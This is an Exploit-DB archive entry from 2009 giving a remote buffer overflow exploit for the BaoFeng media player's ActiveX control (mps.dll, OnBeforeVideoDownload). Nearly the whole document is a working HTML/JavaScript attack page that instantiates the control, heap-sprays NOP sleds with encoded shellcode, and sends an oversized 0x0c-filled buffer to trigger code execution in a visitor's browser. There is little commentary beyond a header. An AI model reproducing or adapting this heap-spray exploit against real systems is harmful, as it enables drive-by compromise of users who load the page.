BaoFeng - ActiveX 'OnBeforeVideoDownload()' Remote Buffer Overflow

EDB-ID:

8579

Author:

MITBOY

Type:

remote

Platform:

Windows

Published:

2009-04-30

#
# BaoFeng (mps.dll) Remote Code Execution Exploit
# By: MITBOY
# Download: www.baofeng.com
#
# Problem DLL    :     mps.dll
# Problem Func   :   OnBeforeVideoDownload()

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<input type="button" onclick="test()" value="test" />
<script>
function test()
{
    var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;
      
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;
  
    memory = new Array();
    for (x=0; x<300; x++)
        memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 4150)
        buffer+="\x0c\x0c\x0c\x0c";
    target.OnBeforeVideoDownload(buffer);
}
</script>
</body>
</html>

# milw0rm.com [2009-04-30]